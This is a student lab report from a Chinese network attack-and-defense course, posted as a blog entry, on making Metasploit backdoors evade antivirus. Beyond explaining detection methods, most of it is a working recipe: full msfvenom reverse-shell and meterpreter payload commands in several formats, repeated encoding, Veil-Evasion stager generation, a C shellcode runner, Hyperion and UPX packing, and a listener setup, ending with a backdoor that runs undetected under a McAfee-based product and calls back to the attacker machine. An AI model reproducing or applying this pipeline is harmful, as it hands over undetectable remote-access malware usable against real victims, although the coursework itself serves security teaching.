20192426 2021-2022-2 《网络与系统攻防技术》实验三实验报告

20192426 2021-2022-2 《网络与系统攻防技术》实验三实验报告

1.实验内容

  1. 掌握使用msf编码器,veil-evasion等免杀工具
  2. 掌握通过免杀工具和技巧实现恶意代码免杀

2.基础问题回答

  1. 杀毒软件是如何检测出恶意代码的?

    杀毒软件可以通过下述方法检测出恶意代码:

    • 基于特征码的检测
      特征码是恶意代码中的一段或几段特有的代码或字符串信息。杀毒软件可以通过格式分析和代码分析从恶意软件的代码程序中提取出独有的固定性的数据片断(一段特殊代码或者是字符串信息)以及该片断的位置信息,将这些信息抽象成静态特征码作为该恶意软件的特征。但该方法只能检测出已有的恶意代码,具有一定的滞后性。

    • 启发式恶意软件检测
      启发式分析是一种通过检查代码的可疑属性来检测病毒的方法。启发式分析可以在未知的新病毒、现有威胁的修改版本以及已知的恶意软件样本中找出可疑特征。

      • 静态启发式分析

        具体过程是对可疑程序进行反编译并检查其源代码,然后,将此代码与已知且包含在启发式数据库中的病毒进行对比。如果有特定比例的源代码与启发式数据库中的任何内容相匹配,则将该代码标记为可能的威胁。

      • 动态启发式分析

        具体过程是将可疑的程序或代码片段隔离在专用的虚拟机(或沙盒)内部,使防病毒程序有机会测试代码,并模拟允许运行可疑文件时所发生的情况。它将检查每个命令在激活情况下的状况并查找任何可疑行为,例如自我复制、覆盖文件以及其他在病毒中常见的操作。

    • 基于行为的检测
      通过监视程序的行为,依靠动态拦截或是静态分析的方案获取程序的系统调用的序列,再与已知的恶意行为模式,即恶意软件的系统调用序列进行匹配,来判断目标文件是否为恶意软件。从理论上讲,基于行为的检测相当于是启发式的一种,或者是加入了行为监控的启发式检测

  2. 免杀是做什么?

    免杀技术全称为反杀毒技术(Anti Anti- Virus),它指的是一种能使病毒木马免于被杀毒软件查杀的技术。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。

  3. 免杀的基本方法有哪些?

    • 改变特征码

      • 加壳脱壳与加密解密

        加壳是指利用特殊的算法,对可执行文件与动态库里的资源进行压缩与对文件的描述、版本号、创建日期、修改软件、系统执行需求等外层数据进行伪装。

        脱壳就是把已压缩与伪装的文件完全或近似还原到未压缩与伪装的状态

        加密是将明文信息隐匿起来,使之在缺少特殊信息时全部或部分数据不可读,令杀毒软件无从下手。

        解密就是令在宿主电脑中的病毒得到密钥,从而突然发作。

      • 加花指令与程序入口点修改

        • 加花指令就是在程序开头加入一段计算用的汇编指令和一些入口点内存地址的乱跳转,或加上其他常用程序特有的入口指令来迷惑杀毒软件。因为计算与跳转的最后结果是没有实质的意义的,所以这么做并不影响程序的正常运行。但能使一些杀毒软件无法正确识别木马程序,从而达到免杀的效果。
        • 程序入口点修改就是改变入口点,通常用到的方法是在入口点的地址加1或把入口点地址拆开,也有加花指令之后把原入口点修改到花指令的入口点上令电脑先处理那段没意义的指令,再在花指令后再加跳转代码,跳转到程序执行数据的入口点上,令程序正常运行。
      • 用其他语言进行重写再编译(veil-evasion)

    • 改变行为

      • 通讯方式

        • 使用反弹式连接

          通常用于对方主机在外网无法访问(NAT),对方主机防火墙限制,对方IP动态变化等情形

        • 使用隧道技术

          DNS隧道(DNS Tunneling)是将其他协议的内容封装在DNS协议中,然后以DNS请求和响应包完成传输数据(通信)的技术。当前网络世界中的DNS是一项必不可少的服务,所以防火墙和入侵检测设备处于可用性和用户友好的考虑将很难做到完全过滤掉DNS流量,因此,攻击者可以利用它实现诸如远程控制,文件传输等操作,众多研究表明DNS Tunneling在僵尸网络和APT攻击中扮演着至关重要的角色。

        • 加密通讯数据

          例如使用reverse-https进行转发

      • 操作模式

        • 基于内存操作
        • 减少对系统的修改
        • 加入混淆作用的正常功能代码
    • 手工打造恶意代码

      通过C语言调用ShellCode等方法

3.实验过程

3.0 准备工作

在进行本实验之前,请先完成实验二 后门原理与实践

3.1 正确使用msf编码器,veil-evasion,自己利用shellcode编程等免杀工具或技巧

3.1.1正确使用msf编码器,使用msfvenom生成如jar之类的其他文件

  1. 首先我们使用VirusTotalVirscan来检测实验二中的后门程序,如图一所示,VirusTotal的检出率为48/69,Virscan的检出率为16/51。


    图一 实验二后门程序杀毒软件检出率

    VirusTotal:一个提供免费的可疑文件分析服务的网站。2004年6月由创始人Hispasec Sistemas创立。使用多种反病毒引擎对您所上传的文件进行检测, 以判断文件是否被病毒, 蠕虫, 木马, 以及各类恶意软件感染。

    Virscan:一个非盈利性的免费为广大网友服务的网站,它通过多种不同厂家提供的最新版本的病毒检测引擎对用户上传的可疑文件进行在线扫描,并可以立刻将检测结果显示出来,从而提供给用户可疑程度的建议。

  2. 接下来我们使用Metasploit的编码器尝试使后门程序能够免杀,首先,我们来了解一下Metasploit的编码器有哪些,使用如下命令查看Metasploit的编码器:

    msfvenom --list encoders                                                       
    # 编码器列表如下
        Name                          Rank       Description
        ----                          ----       -----------
        cmd/brace                     low        Bash Brace Expansion Command Encoder
        cmd/echo                      good       Echo Command Encoder
        cmd/generic_sh                manual     Generic Shell Variable Substitution Command Encoder
        cmd/ifs                       low        Bourne ${IFS} Substitution Command Encoder
        cmd/perl                      normal     Perl Command Encoder
        cmd/powershell_base64         excellent  Powershell Base64 Command Encoder
        cmd/printf_php_mq             manual     printf(1) via PHP magic_quotes Utility Command Encoder
        generic/eicar                 manual     The EICAR Encoder
        generic/none                  normal     The "none" Encoder
        mipsbe/byte_xori              normal     Byte XORi Encoder
        mipsbe/longxor                normal     XOR Encoder
        mipsle/byte_xori              normal     Byte XORi Encoder
        mipsle/longxor                normal     XOR Encoder
        php/base64                    great      PHP Base64 Encoder
        ppc/longxor                   normal     PPC LongXOR Encoder
        ppc/longxor_tag               normal     PPC LongXOR Encoder
        ruby/base64                   great      Ruby Base64 Encoder
        sparc/longxor_tag             normal     SPARC DWORD XOR Encoder
        x64/xor                       normal     XOR Encoder
        x64/xor_context               normal     Hostname-based Context Keyed Payload Encoder
        x64/xor_dynamic               normal     Dynamic key XOR Encoder
        x64/zutto_dekiru              manual     Zutto Dekiru
        x86/add_sub                   manual     Add/Sub Encoder
        x86/alpha_mixed               low        Alpha2 Alphanumeric Mixedcase Encoder
        x86/alpha_upper               low        Alpha2 Alphanumeric Uppercase Encoder
        x86/avoid_underscore_tolower  manual     Avoid underscore/tolower
        x86/avoid_utf8_tolower        manual     Avoid UTF8/tolower
        x86/bloxor                    manual     BloXor - A Metamorphic Block Based XOR Encoder
        x86/bmp_polyglot              manual     BMP Polyglot
        x86/call4_dword_xor           normal     Call+4 Dword XOR Encoder
        x86/context_cpuid             manual     CPUID-based Context Keyed Payload Encoder
        x86/context_stat              manual     stat(2)-based Context Keyed Payload Encoder
        x86/context_time              manual     time(2)-based Context Keyed Payload Encoder
        x86/countdown                 normal     Single-byte XOR Countdown Encoder
        x86/fnstenv_mov               normal     Variable-length Fnstenv/mov Dword XOR Encoder
        x86/jmp_call_additive         normal     Jump/Call XOR Additive Feedback Encoder
        x86/nonalpha                  low        Non-Alpha Encoder
        x86/nonupper                  low        Non-Upper Encoder
        x86/opt_sub                   manual     Sub Encoder (optimised)
        x86/service                   manual     Register Service
        x86/shikata_ga_nai            excellent  Polymorphic XOR Additive Feedback Encoder
        x86/single_static_bit         manual     Single Static Bit
        x86/unicode_mixed             manual     Alpha2 Alphanumeric Unicode Mixedcase Encoder
        x86/unicode_upper             manual     Alpha2 Alphanumeric Unicode Uppercase Encoder
        x86/xor_dynamic               normal     Dynamic key XOR Encoder
    
  3. 在了解了Metasploit所有编码器后,我们首先使用x86/shikata_ga_nai对后门程序进行一次编码,使用命令如下:

    msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -b '\x00' LHOST=192.168.56.112 LPORT=8000 -f exe > 192426backEncode.exe # 其中192.168.56.112为Windows反弹回连Kali的IP地址
    # -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
    # -b <list>:设置payload中需要避免的字符
    

    再次使用VirusTotalVirscan来检测生成的后门程序,如图二所示,VirusTotal的检出率为48/68,Virscan的检出率为16/51,可以发现,仅进行一次编码对于实现免杀并没有实质性作用。


    图二 编码一次的后门程序杀毒软件检出率
  4. 之后,我们再尝试通过x86/shikata_ga_nai对后门程序多次编码的方法进行免杀,使用命令如下:

    msfvenom -p windows/x64/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.112 LPORT=8000 -f exe > 192426backEncode.exe # 其中192.168.56.112为Windows反弹回连Kali的IP地址
    # -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
    # -b <list>:设置payload中需要避免的字符
    # -i <count> 指定编码迭代的次数
    

    再次使用VirusTotalVirscan来检测生成的后门程序,如图三所示,VirusTotal的检出率为50/69(不降反升),Virscan的检出率为15/51(稍微降低),可以发现,进行十次编码对于实现免杀并没有实质性作用。


    图三 编码十次的后门程序杀毒软件检出率
  5. 接下来,我们尝试通过不同编码器组合多次编码的方法进行免杀,使用命令如下:

    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.56.112 LPORT=8000 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/alpha_upper -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/shikata_ga_nai -i 5 -f raw | msfvenom -a x64 --platform windows -e x86/countdown -c 5 -f exe > 192426backEncodeMix.exe
    # 其中192.168.56.112为Windows反弹回连Kali的IP地址
    # -e <encoder> 指定编码器,可以通过-l encoders查看所有编码器
    # -b <list>:设置payload中需要避免的字符
    # -i <count> 指定编码迭代的次数
    

    再次使用VirusTotalVirscan来检测生成的后门程序,如图四所示,VirusTotal的检出率为50/68,Virscan的检出率为16/51,可以发现,进行混合多次编码对于实现免杀并没有实质性作用。


    图四 多次混合编码的后门程序杀毒软件检出率
  6. 通常情况下,运行msfvenom命令时,攻击载荷被嵌入到默认的可执行文件模板中,默认模板文件位于data/templates/templates.exe。虽然这个模板文件时常会更新,但他永远是杀毒软件厂商在创建病毒库时的重点关注对象,所以以上的免杀并没有实质性的作用。那么,我们更换模板文件,使用微软sysinternals套件中的Process Explorer程序作为自定义可执行程序模块,再测试一下效果,首先下载Process Explorer,链接:https://download.sysinternals.com/files/ProcessExplorer.zip ,解压后我们使用其中的procexp.exe当作模板,命令如下:

    msfvenom -p windows/x64/meterpreter/reverse_tcp -x procexp.exe LHOST=192.168.56.112 LPORT=8000 -f exe > 192426backprocexp.exe # 其中192.168.56.112为Windows反弹回连Kali的IP地址
    # -x <path>:使用一个可执行文件当作模板。
    

    使用VirusTotalVirscan来检测生成的后门程序,如图五所示,VirusTotal的检出率为25/68,Virscan的检出率为6/51,可以发现,更改模板为Process Explorer后杀毒软件检出率有所下降


    图五 更换模板后杀毒软件检出率
  7. 我们尝试生成其他文件的格式,看看检出率会不会有所下降。首先试试生成.jar格式的文件,由于要生成jar包,所以payload我们应该使用java/shell_reverse_tcp,更改后的命令如下:

    msfvenom -p java/shell_reverse_tcp LHOST=192.168.56.112 LPORT=8000 -f jar > 192426backEncode.jar
    

    使用VirusTotalVirscan来检测生成的后门程序,如图六所示,VirusTotal的检出率为32/60,Virscan的检出率为1/51,可以发现,更改文件格式为.jar后杀毒软件检出率相比.exe格式有所下降。


    图六 生成的jar包杀毒软件检出率
  8. 然后再试试生成.php格式的文件,由于要生成php文件,所以payload我们应该使用php/meterpreter/reverse_tcp,且文件格式应选择raw,更改后的命令如下:

    msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.56.112 LPORT=8000 -f raw > 192426backEncode.php
    

    使用VirusTotalVirscan来检测生成的后门程序,如图七所示,VirusTotal的检出率为21/56,Virscan的检出率为3/51,可以发现,更改文件格式为.php后杀毒软件检出率相比.exe格式有所下降。


    图七 生成的php文件杀毒软件检出率
  9. 最后试一试生成.py格式的文件,由于要生成python文件,所以payload我们应该使用python/meterpreter/reverse_tcp,文件格式不作出选择,若指定参数-f python反而无法达到反弹连接的效果,更改后的命令如下:

    msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.56.112 LPORT=8000 > 192426backdoor.py
    

    使用VirusTotalVirscan来检测生成的后门程序,如图八所示,VirusTotal的检出率为18/58,Virscan的检出率为3/51,可以发现,更改文件格式为.py后杀毒软件检出率相比.exe格式有所下降。


    图八 生成的python文件杀毒软件检出率

3.1.2 veil,加壳工具

  1. 首先我们在kali中安装veil,使用如下命令:

    apt -y install veil # 执行此命令后稍作等待
    /usr/share/veil/config/setup.sh --force --silent # 等待上一条命令完成后执行本条命令
    

    其中,第二条命令执行的脚本中有一条命令是从GitHub上clone一个依赖库,如果网络不好的话可能会clone失败。如果出现这种情况,我们首先使用命令:

    vim /usr/share/veil/config/setup.sh
    

    然后在260行处可以找到一个git clone https://github.com/Veil-Framework/VeilDependencies.git的命令,将命令中的链接复制,然后参照快速通过中转方式下载GitHub/GitLab仓库 - ZNing所提供的方法fork一个Gitee仓库,再将原来的Github链接修改为Gitee链接的地址,保存后再执行第二条命令

    这里提供一个Gitee仓库:https://gitee.com/githubren/VeilDependencies.git 直接用该链接覆盖原Github链接即可

  2. 安装好veil后,在终端中通过以下过程生成后门程序:

    veil # 打开veil
    # Main Menu
    # 2 tools loaded
    # Available Tools:
    # 1)      Evasion
    # 2)      Ordnance
    
    Veil>: use evasion # 使用evasion工具
    Veil/Evasion>: use c/meterpreter/rev_tcp.py
    
    # Payload Information:
    #        Name:           Pure C Reverse TCP Stager
    #        Language:       c
    #        Rating:         Excellent
    #        Description:    pure windows/meterpreter/reverse_tcp stager, no
    #                        shellcode
    # Payload: c/meterpreter/rev_tcp selected
    
    [c/meterpreter/rev_tcp>>]: set LHOST 192.168.56.112
    [c/meterpreter/rev_tcp>>]: set LPORT 8000
    [c/meterpreter/rev_tcp>>]: generate
    # [*] Language: c
    # [*] Payload Module: c/meterpreter/rev_tcp
    # [*] Executable written to: /var/lib/veil/output/compiled/192426veil.exe
    # [*] Source code written to: /var/lib/veil/output/source/192426veil.c
    # [*] Metasploit Resource file written to: /var/lib/veil/output/handlers/20192426veil.rc
    
    # Hit enter to continue...
    

    可以发现,可执行文件保存在路径:/var/lib/veil/output/compiled/中。而Metasploit Resource file保存在路径:/var/lib/veil/output/handlers/中。

    Metasploit Resource file:Metasploit可以通过资源脚本实现自动化——使用资源脚本可以免去手动设置选项,实现选项的自动化设置,从而节省配置模块选项和攻击载荷所花费的时间。而Metasploit Resource file便是实现自动化所需的文件。使用命令resource <filename>即可自动化执行Metasploit Resource file中的指令。

  3. 使用VirusTotalVirscan来检测生成的后门程序,如图八所示,VirusTotal的检出率为43/69,Virscan的检出率为10/51,可以发现,加壳后杀毒软件检出率有所下降(但不明显)。


    图九 使用veil加壳生成的后门程序杀毒软件检出率

3.1.3 使用C + shellcode编程

  1. 首先使用metasploit生成用于反弹连接获取shell的shellcode,并以C语言格式输出,命令如下:

    msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.112 LPORT=8000 -f c > 192426shellcode.c
    

    如图十所示,生成的C语言文件中只有一个名为buf的字符数组,我们还需要给它添加一个主函数使其可以运行。


    图十 生成的shellcode

    使用如下命令添加主函数:

    cat >>192426shellcode.c<<EOF
    int main(){
    	int (*func)() = (int(*)())buf;
    	func();
    }
    EOF
    
  2. 将生成的C源代码使用交叉编译的方法编译成Windows的可执行程序,命令如下:

    i686-w64-mingw32-gcc 192426shellcode.c -o 192426shellcode.exe
    

    交叉编译工具链的命名规则为:arch [-vendor] [-os] [-(gnu)eabi]

    arch - 体系架构,如ARM,MIPS,i686
    vendor - 工具链提供商
    os - 目标操作系统
    eabi - 嵌入式应用二进制接口(Embedded Application Binary Interface)

  3. 使用VirusTotalVirscan来检测编译后的后门程序,如图十一所示,VirusTotal的检出率为38/68,Virscan的检出率为5/51,可以发现,使用C + Shellcode编程得到的程序检出率有所下降


    图十一 编译后的后门程序杀毒软件检出率

3.2 通过组合应用各种技术实现恶意代码免杀

  1. 首先我们使用C + Shellcode技术生成C源代码文件,在生成命令中使用编码器x86/shikata_ga_nai进行10次编码,命令如下:

    msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -b '\x00' LHOST=192.168.56.112 LPORT=8000 -f c > 192426shellcode.c
    
  2. 使用如下命令添加主函数:

    cat >>192426shellcode.c<<EOF
    int main(){
    	int (*func)() = (int(*)())buf;
    	func();
    }
    EOF
    
  3. 将生成的C源代码使用交叉编译的方法编译成Windows的可执行程序,命令如下:

    i686-w64-mingw32-gcc 192426shellcode.c -o 192426shellcode.exe
    
  4. 使用hyperion给程序加上一层加密壳,命令如下:

    wine /usr/share/windows-resources/hyperion/hyperion.exe -v 192426shellcode.exe 192426shellcode.hyed.exe
    
  5. 然后再使用upx给程序加上一层压缩壳,命令如下:

    upx 192426shellcode.hyed.exe -o 192426shellcode.upxed.exe
    
  6. 将生成的可执行程序传到Windows上,使用杀毒软件进行扫描,结果没有报毒,如图十二所示。


    图十二 加壳后的后门程序没有被杀毒软件查出

3.3 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本

  1. 在Kali上的终端输入命令msfconsole打开msf控制台,等待程序初始化完成后输入以下指令获取Windows的Shell:

    use exploit/multi/handler # 进入监听模块
    # [*] Using configured payload generic/shell_reverse_tcp
    set payload windows/meterpreter/reverse_tcp # 设置攻击载荷为64位Windows的反弹TCP连接
    # payload => windows/meterpreter/reverse_tcp
    set LHOST 192.168.56.112 # 设置Kali的IP地址,请与后门程序的LHOST参数保持一致
    # LHOST => 192.168.56.112
    set LPORT 8000 # 设置端口号,请与后门程序的LPORT参数保持一致
    # LPORT => 8000
    exploit
    # [*] Started reverse TCP handler on 192.168.56.112:8000
    # 当出现上面的提示时在Windows上打开后门程序
    
  2. 在Windows上运行后门程序,可以发现,后门程序成功实现反弹连接,如图十三所示,使用命令net start | findstr "McAfee"查看McAfee相关服务,可以发现杀毒软件仍在运行,这里我使用了McAfee提供支持的联想杀毒Plus,版本为16.0,McAfee组件版本为19.13.171


    图十三 成功运行并回连成功,没有被查杀

4.问题及解决方案

  • 问题1:在3.1.2安装veil时,第二条命令执行的脚本中有一条命令是从GitHub上clone一个依赖库,如果网络不好的话可能会clone失败

  • 问题1解决方案:如果出现这种情况,我们首先使用命令:

    vim /usr/share/veil/config/setup.sh
    

    然后在260行处可以找到一个git clone https://github.com/Veil-Framework/VeilDependencies.git的命令,将命令中的链接改为https://gitee.com/githubren/VeilDependencies.git ,保存后再执行第二条命令

  • 问题2:在加壳操作时,使用hyperion给后门程序加上加密壳时提示hyperion.exe不存在

  • 问题2解决方案:经过一番寻找,hyperion的路径为:/usr/share/windows-resources/hyperion/hyperion.exe,找到路径之后使用wine的命令执行hyperion.exe给后门程序加上加密壳

5.学习感悟、思考等

本次实验是在实验二——后门原理的实践的基础上进行的,通过老师视频+博客讲解的方式我弄懂了免杀的基本原理并学会了许多后门程序免杀方法,例如使用Metasploit的编码器对后门程序进行编码;使用upx和hyperion对后门程序进行加壳等等。此外,我还获知了两个查杀恶意代码的网站:VirusTotalVirscan

本次实验中某些地方还值得深入研究,例如如何最大程度防止杀毒软件查杀,此外,对于多种语言运行Shellcode的部分还可以继续研究,另外,Metasploit中的编码器的原理和实现方法也值得我们研究。

最后,感谢王老师和刘老师的细心讲解和耐心帮助,也感谢在实验过程中给我帮助的同学们。正因为有你们的帮助我才能够顺利地完成本次实验,谢谢!

参考资料

posted @ 2022-04-09 15:23  20192426陈瀚文  阅读(80)  评论(0编辑  收藏  举报